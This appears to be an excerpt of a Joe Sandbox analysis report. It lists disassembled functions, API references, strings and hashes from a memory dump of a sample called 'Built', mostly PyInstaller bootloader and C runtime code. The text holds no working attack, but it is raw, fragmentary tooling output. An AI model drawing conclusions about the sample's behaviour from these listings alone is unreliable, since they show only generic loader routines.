Opcode ID: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction ID: c029b04f5d2fe372bf99dae1428ccea2a01d0a6b27139f789525ed6a9e8a71a1
Opcode Fuzzy Hash: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction Fuzzy Hash: 87314F76608B8186EF608F60E9903EE7365FB94748F48403AEA4E97B99DF7CD548C710

Function 00007FF65E2A5C00 Relevance: 9.3, APIs: 6, Instructions: 334timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF65E2A5C45

Part of subcall function 00007FF65E2A5598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF65E2A55AC

Part of subcall function 00007FF65E29A948: RtlFreeHeap.NTDLL(?,?,?,00007FF65E2A2D22,?,?,?,00007FF65E2A2D5F,?,?,00000000,00007FF65E2A3225,?,?,?,00007FF65E2A3157), ref: 00007FF65E29A95E
Part of subcall function 00007FF65E29A948: GetLastError.KERNEL32(?,?,?,00007FF65E2A2D22,?,?,?,00007FF65E2A2D5F,?,?,00000000,00007FF65E2A3225,?,?,?,00007FF65E2A3157), ref: 00007FF65E29A968

Part of subcall function 00007FF65E29A900: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF65E29A8DF,?,?,?,?,?,00007FF65E29A7CA), ref: 00007FF65E29A909
Part of subcall function 00007FF65E29A900: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF65E29A8DF,?,?,?,?,?,00007FF65E29A7CA), ref: 00007FF65E29A92E

_get_daylight.LIBCMT ref: 00007FF65E2A5C34

Part of subcall function 00007FF65E2A55F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF65E2A560C

_get_daylight.LIBCMT ref: 00007FF65E2A5EAA
_get_daylight.LIBCMT ref: 00007FF65E2A5EBB
_get_daylight.LIBCMT ref: 00007FF65E2A5ECC
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF65E2A610C), ref: 00007FF65E2A5EF3

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID:
API String ID: 4070488512-0
Opcode ID: c8e181fbda5929fcc8f6a75e148055e791a7ddaa32984997676ab034941af52a
Instruction ID: 4f281034176911df3013f987ee8b4250cc6c8bb6dd160c89aabe629e5470f518
Opcode Fuzzy Hash: c8e181fbda5929fcc8f6a75e148055e791a7ddaa32984997676ab034941af52a
Instruction Fuzzy Hash: 7FD1A162A8864286EF24AF21DB411BA77A1FF64784F488039FA4DE769DDF7CE4418740

Function 00007FF65E29A614 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF65E29A68D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF65E29A6A5
RtlVirtualUnwind.KERNEL32 ref: 00007FF65E29A6E0
IsDebuggerPresent.KERNEL32 ref: 00007FF65E29A719
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF65E29A723
UnhandledExceptionFilter.KERNEL32 ref: 00007FF65E29A72E

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction ID: bfb0a482f15c2cca432239415db995466ff1d2953f692fbc3e109f01d8b97bb7
Opcode Fuzzy Hash: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction Fuzzy Hash: 7A316F36A08B8186DF60CF25EA402AE77A5FB98754F580136FA9D93B58DF7CC145CB00

Function 00007FF65E2A1874 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF65E2A18C0
FindFirstFileExW.KERNEL32 ref: 00007FF65E2A19CA

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: ee5daded1920a45b930385d49f4c9fb7106de6f00b6358014c2482279c1420ad
Instruction ID: cb339db5556bb6227c5282cbd2160c5834d84b55c4179c21492ceda88941e2a8
Opcode Fuzzy Hash: ee5daded1920a45b930385d49f4c9fb7106de6f00b6358014c2482279c1420ad
Instruction Fuzzy Hash: 59B194A2B5879241EE619B2297001B97391FB64BF4F885131FA5EA7BDDEE7CE441C300

Function 00007FF65E2A5E7C Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF65E2A5EAA

Part of subcall function 00007FF65E2A55F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF65E2A560C

_get_daylight.LIBCMT ref: 00007FF65E2A5EBB

Part of subcall function 00007FF65E2A5598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF65E2A55AC

_get_daylight.LIBCMT ref: 00007FF65E2A5ECC

Part of subcall function 00007FF65E2A55C8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF65E2A55DC

Part of subcall function 00007FF65E29A948: RtlFreeHeap.NTDLL(?,?,?,00007FF65E2A2D22,?,?,?,00007FF65E2A2D5F,?,?,00000000,00007FF65E2A3225,?,?,?,00007FF65E2A3157), ref: 00007FF65E29A95E
Part of subcall function 00007FF65E29A948: GetLastError.KERNEL32(?,?,?,00007FF65E2A2D22,?,?,?,00007FF65E2A2D5F,?,?,00000000,00007FF65E2A3225,?,?,?,00007FF65E2A3157), ref: 00007FF65E29A968

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF65E2A610C), ref: 00007FF65E2A5EF3

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: 6f2171165b001c2744b9d494c76d2a7753c36df5ed5d67f3075860c83c0dbe14
Instruction ID: 76b4522d837cf2a77bd86c2dea338a05d10ad2e364f6f8f573d8f5af9e49c08b
Opcode Fuzzy Hash: 6f2171165b001c2744b9d494c76d2a7753c36df5ed5d67f3075860c83c0dbe14
Instruction Fuzzy Hash: 0E518F32F4864296EF10EF21DB811AA7761BF68784F48853AFA4DE3699DF7CE4418740

Function 00007FF65E285830 Relevance: 229.6, APIs: 86, Strings: 45, Instructions: 400libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF65E2864CF,?,00007FF65E28336E), ref: 00007FF65E285840
GetLastError.KERNEL32(?,00007FF65E2864CF,?,00007FF65E28336E), ref: 00007FF65E285852
GetProcAddress.KERNEL32(?,00007FF65E2864CF,?,00007FF65E28336E), ref: 00007FF65E285889
GetLastError.KERNEL32(?,00007FF65E2864CF,?,00007FF65E28336E), ref: 00007FF65E28589B
GetProcAddress.KERNEL32(?,00007FF65E2864CF,?,00007FF65E28336E), ref: 00007FF65E2858B4
GetLastError.KERNEL32(?,00007FF65E2864CF,?,00007FF65E28336E), ref: 00007FF65E2858C6
GetProcAddress.KERNEL32(?,00007FF65E2864CF,?,00007FF65E28336E), ref: 00007FF65E2858DF
GetLastError.KERNEL32(?,00007FF65E2864CF,?,00007FF65E28336E), ref: 00007FF65E2858F1
GetProcAddress.KERNEL32(?,00007FF65E2864CF,?,00007FF65E28336E), ref: 00007FF65E28590D
GetLastError.KERNEL32(?,00007FF65E2864CF,?,00007FF65E28336E), ref: 00007FF65E28591F
GetProcAddress.KERNEL32(?,00007FF65E2864CF,?,00007FF65E28336E), ref: 00007FF65E28593B
GetLastError.KERNEL32(?,00007FF65E2864CF,?,00007FF65E28336E), ref: 00007FF65E28594D
GetProcAddress.KERNEL32(?,00007FF65E2864CF,?,00007FF65E28336E), ref: 00007FF65E285969
GetLastError.KERNEL32(?,00007FF65E2864CF,?,00007FF65E28336E), ref: 00007FF65E28597B
GetProcAddress.KERNEL32(?,00007FF65E2864CF,?,00007FF65E28336E), ref: 00007FF65E285997
GetLastError.KERNEL32(?,00007FF65E2864CF,?,00007FF65E28336E), ref: 00007FF65E2859A9
GetProcAddress.KERNEL32(?,00007FF65E2864CF,?,00007FF65E28336E), ref: 00007FF65E2859C5
GetLastError.KERNEL32(?,00007FF65E2864CF,?,00007FF65E28336E), ref: 00007FF65E2859D7

Strings

PyObject_Str, xrefs: 00007FF65E285DAF, 00007FF65E285DD1
Failed to get address for %hs, xrefs: 00007FF65E285861
PyEval_EvalCode, xrefs: 00007FF65E285BB5, 00007FF65E285BD7
PyImport_ExecCodeModule, xrefs: 00007FF65E285C11, 00007FF65E285C33
PyConfig_Read, xrefs: 00007FF65E2859E9, 00007FF65E285A0B
PySys_SetObject, xrefs: 00007FF65E285E95, 00007FF65E285EB7
PyErr_Fetch, xrefs: 00007FF65E285ACF, 00007FF65E285AF1
PyObject_CallFunctionObjArgs, xrefs: 00007FF65E285D25, 00007FF65E285D47
PyObject_CallFunction, xrefs: 00007FF65E285CF7, 00007FF65E285D19
PyConfig_SetWideStringList, xrefs: 00007FF65E285A73, 00007FF65E285A95
PyImport_AddModule, xrefs: 00007FF65E285BE3, 00007FF65E285C05
Py_Finalize, xrefs: 00007FF65E2858D5, 00007FF65E2858F7
PyConfig_SetBytesString, xrefs: 00007FF65E285A17, 00007FF65E285A39
PyObject_SetAttrString, xrefs: 00007FF65E285D81, 00007FF65E285DA3
Py_PreInitialize, xrefs: 00007FF65E28595F, 00007FF65E285981
PyModule_GetDict, xrefs: 00007FF65E285CC9, 00007FF65E285CEB
PyConfig_SetString, xrefs: 00007FF65E285A45, 00007FF65E285A67
Py_DecRef, xrefs: 00007FF65E285836, 00007FF65E285858
PyObject_GetAttrString, xrefs: 00007FF65E285D53, 00007FF65E285D75
PyUnicode_FromString, xrefs: 00007FF65E285F7B, 00007FF65E285F9D
PyErr_NormalizeException, xrefs: 00007FF65E285AFD, 00007FF65E285B1F
PyUnicode_AsUTF8, xrefs: 00007FF65E285EC3, 00007FF65E285EE5
PyUnicode_Replace, xrefs: 00007FF65E285FD7, 00007FF65E285FF9
PyUnicode_Decode, xrefs: 00007FF65E285EF1, 00007FF65E285F13
PyUnicode_DecodeFSDefault, xrefs: 00007FF65E285F1F, 00007FF65E285F41
PyConfig_Clear, xrefs: 00007FF65E28598D, 00007FF65E2859AF
PySys_GetObject, xrefs: 00007FF65E285E67, 00007FF65E285E89
PyErr_Print, xrefs: 00007FF65E285B59, 00007FF65E285B7B
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF65E285DDD, 00007FF65E285DFF
Py_DecodeLocale, xrefs: 00007FF65E28587F, 00007FF65E2858A1
PyErr_Occurred, xrefs: 00007FF65E285B2B, 00007FF65E285B4D
PyErr_Restore, xrefs: 00007FF65E285B87, 00007FF65E285BA9
Py_ExitStatusException, xrefs: 00007FF65E2858AA, 00007FF65E2858CC
PyRun_SimpleStringFlags, xrefs: 00007FF65E285E0B, 00007FF65E285E2D
GetProcAddress, xrefs: 00007FF65E285868
PyMem_RawFree, xrefs: 00007FF65E285C9B, 00007FF65E285CBD
PyImport_ImportModule, xrefs: 00007FF65E285C3F, 00007FF65E285C61
Py_IsInitialized, xrefs: 00007FF65E285931, 00007FF65E285953
Py_InitializeFromConfig, xrefs: 00007FF65E285903, 00007FF65E285925
PyConfig_InitIsolatedConfig, xrefs: 00007FF65E2859BB, 00007FF65E2859DD
PyStatus_Exception, xrefs: 00007FF65E285E39, 00007FF65E285E5B
PyUnicode_Join, xrefs: 00007FF65E285FA9, 00007FF65E285FCB
PyMarshal_ReadObjectFromString, xrefs: 00007FF65E285C6D, 00007FF65E285C8F
PyErr_Clear, xrefs: 00007FF65E285AA1, 00007FF65E285AC3
PyUnicode_FromFormat, xrefs: 00007FF65E285F4D, 00007FF65E285F6F

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 199729137-653951865
Opcode ID: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction ID: 00ce6a9086011b12359e8dce0fb61d1f409d8feccf078adfd4ecd605851f8420
Opcode Fuzzy Hash: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction Fuzzy Hash: A522B564A8DB0B91FE259B65AB2557433A2BF34745F4C103AF45EE226CFFBCA548C240

Function 00007FF65E2876C0 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF65E2876D7
GetLastError.KERNEL32 ref: 00007FF65E2876E9
GetProcAddress.KERNEL32 ref: 00007FF65E287725
GetLastError.KERNEL32 ref: 00007FF65E287737
GetProcAddress.KERNEL32 ref: 00007FF65E287750
GetLastError.KERNEL32 ref: 00007FF65E287762
GetProcAddress.KERNEL32 ref: 00007FF65E28777B
GetLastError.KERNEL32 ref: 00007FF65E28778D
GetProcAddress.KERNEL32 ref: 00007FF65E2877A9
GetLastError.KERNEL32 ref: 00007FF65E2877BB
GetProcAddress.KERNEL32 ref: 00007FF65E2877D7
GetLastError.KERNEL32 ref: 00007FF65E2877E9
GetProcAddress.KERNEL32 ref: 00007FF65E287805
GetLastError.KERNEL32 ref: 00007FF65E287817
GetProcAddress.KERNEL32 ref: 00007FF65E287833
GetLastError.KERNEL32 ref: 00007FF65E287845
GetProcAddress.KERNEL32 ref: 00007FF65E287861
GetLastError.KERNEL32 ref: 00007FF65E287873

Strings

Tcl_MutexLock, xrefs: 00007FF65E2878B3, 00007FF65E2878D5
Tcl_ConditionWait, xrefs: 00007FF65E287999, 00007FF65E2879BB
Tcl_CreateInterp, xrefs: 00007FF65E28771B, 00007FF65E28773D
Failed to get address for %hs, xrefs: 00007FF65E2876F8
Tcl_ConditionFinalize, xrefs: 00007FF65E28793D, 00007FF65E28795F
Tcl_Alloc, xrefs: 00007FF65E287C1D, 00007FF65E287C3F
Tcl_GetString, xrefs: 00007FF65E287AAD, 00007FF65E287ACF
Tcl_ConditionNotify, xrefs: 00007FF65E28796B, 00007FF65E28798D
Tcl_EvalFile, xrefs: 00007FF65E287B93, 00007FF65E287BB5
Tcl_MutexUnlock, xrefs: 00007FF65E2878E1, 00007FF65E287903
Tcl_Init, xrefs: 00007FF65E2876D0, 00007FF65E2876EF
Tcl_CreateThread, xrefs: 00007FF65E287829, 00007FF65E28784B
Tcl_SetVar2Ex, xrefs: 00007FF65E287B37, 00007FF65E287B59
Tcl_JoinThread, xrefs: 00007FF65E287885, 00007FF65E2878A7
Tcl_NewByteArrayObj, xrefs: 00007FF65E287B09, 00007FF65E287B2B
Tcl_FinalizeThread, xrefs: 00007FF65E2877CD, 00007FF65E2877EF
Tcl_NewStringObj, xrefs: 00007FF65E287ADB, 00007FF65E287AFD
Tcl_DoOneEvent, xrefs: 00007FF65E287771, 00007FF65E287793
Tcl_SetVar2, xrefs: 00007FF65E287A51, 00007FF65E287A73
Tcl_DeleteInterp, xrefs: 00007FF65E2877FB, 00007FF65E28781D
Tcl_Free, xrefs: 00007FF65E287C4B, 00007FF65E287C6D
Tcl_ThreadAlert, xrefs: 00007FF65E2879F5, 00007FF65E287A17
Tcl_GetObjResult, xrefs: 00007FF65E287B65, 00007FF65E287B87
Tcl_EvalEx, xrefs: 00007FF65E287BC1, 00007FF65E287BE3
Tcl_GetCurrentThread, xrefs: 00007FF65E287857, 00007FF65E287879
Tcl_EvalObjv, xrefs: 00007FF65E287BEF, 00007FF65E287C11
GetProcAddress, xrefs: 00007FF65E2876FF
Tcl_FindExecutable, xrefs: 00007FF65E287746, 00007FF65E287768
Tcl_GetVar2, xrefs: 00007FF65E287A23, 00007FF65E287A45
Tcl_ThreadQueueEvent, xrefs: 00007FF65E2879C7, 00007FF65E2879E9
Tcl_CreateObjCommand, xrefs: 00007FF65E287A7F, 00007FF65E287AA1
Tcl_MutexFinalize, xrefs: 00007FF65E28790F, 00007FF65E287931
Tk_Init, xrefs: 00007FF65E287C79, 00007FF65E287C9B
Tcl_Finalize, xrefs: 00007FF65E28779F, 00007FF65E2877C1
Tk_GetNumMainWindows, xrefs: 00007FF65E287CA7, 00007FF65E287CC9

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 199729137-3427451314
Opcode ID: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction ID: ba150b72f5c499c2833d4555e45f944e75e40d3bfbc549e1d1c03aff15cd7162
Opcode Fuzzy Hash: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction Fuzzy Hash: 6902C765A8DB0791FE249B65AB145B533A2AF38749F4C1035F42EF226CEFBCB549C200

Function 00007FF65E2881D0 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF65E289390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF65E2845F4,00000000,00007FF65E281985), ref: 00007FF65E2893C9

ExpandEnvironmentStringsW.KERNEL32(?,00007FF65E2886B7,?,?,00000000,00007FF65E283CBB), ref: 00007FF65E28822C

Part of subcall function 00007FF65E282810: MessageBoxW.USER32 ref: 00007FF65E2828EA

Strings

LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF65E288373
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF65E288203
LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF65E28829D
CreateDirectory, xrefs: 00007FF65E28837C
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF65E288240
\, xrefs: 00007FF65E288261
LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF65E2882D9
%.*s, xrefs: 00007FF65E28830C

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: 34679b23be2e6a85bad270fe565fa16c5e09c528fb77942a9d4832d630ea4d55
Instruction ID: ab943f22be1ebe06e4c07dfbd0f076644ee23d79b523da63ba1409ef2b65f5ff
Opcode Fuzzy Hash: 34679b23be2e6a85bad270fe565fa16c5e09c528fb77942a9d4832d630ea4d55
Instruction Fuzzy Hash: 20519711A2C78281FF549B25EB516B97391AFB4784F8C5432FA0EE2ADDEE7CE5058700

Function 00007FF65E282180 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF65E2821AB
SelectObject.GDI32 ref: 00007FF65E2821F2
DrawTextW.USER32 ref: 00007FF65E282215
SelectObject.GDI32 ref: 00007FF65E28222B
ReleaseDC.USER32 ref: 00007FF65E28223B
MoveWindow.USER32 ref: 00007FF65E28228B
MoveWindow.USER32 ref: 00007FF65E2822CB
MoveWindow.USER32 ref: 00007FF65E28231E
MoveWindow.USER32 ref: 00007FF65E282366

Strings

P%, xrefs: 00007FF65E2821FF

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction ID: 930066a9d323d8e48abafec30e02c9972efd81a3cf1d0cda4af9c68bd3bb7800
Opcode Fuzzy Hash: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction Fuzzy Hash: F45108266087A186DA349F36F5181BAB7A1F7A8B61F044125EFDE83698DF7CD045CB10

Function 00007FF65E2880C0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF65E2880FF
GetWindowLongPtrW.USER32 ref: 00007FF65E28817F
ShutdownBlockReasonCreate.USER32 ref: 00007FF65E288192
GetLastError.KERNEL32 ref: 00007FF65E28819C
SetWindowLongPtrW.USER32 ref: 00007FF65E2881B3

Strings

Needs to remove its temporary files., xrefs: 00007FF65E288185

Memory Dump Source

Source File: 00000003.00000002.2219004996.00007FF65E281000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF65E280000, based on PE: true

Associated: 00000003.00000002.2218962761.00007FF65E280000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219064907.00007FF65E2AB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219128775.00007FF65E2C2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2219199490.00007FF65E2C4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff65e280000_Built.jbxd

Similarity

API ID: LongWindow$BlockCreateErrorLastReasonShutdown
String ID: Needs to remove its temporary files.
API String ID: 3975851968-2863640275
Opcode ID: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction ID: 95128e484455597ab081a9991fa3537dcad66f2ef1913802e3c28c96a3f68b16
Opcode Fuzzy Hash: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
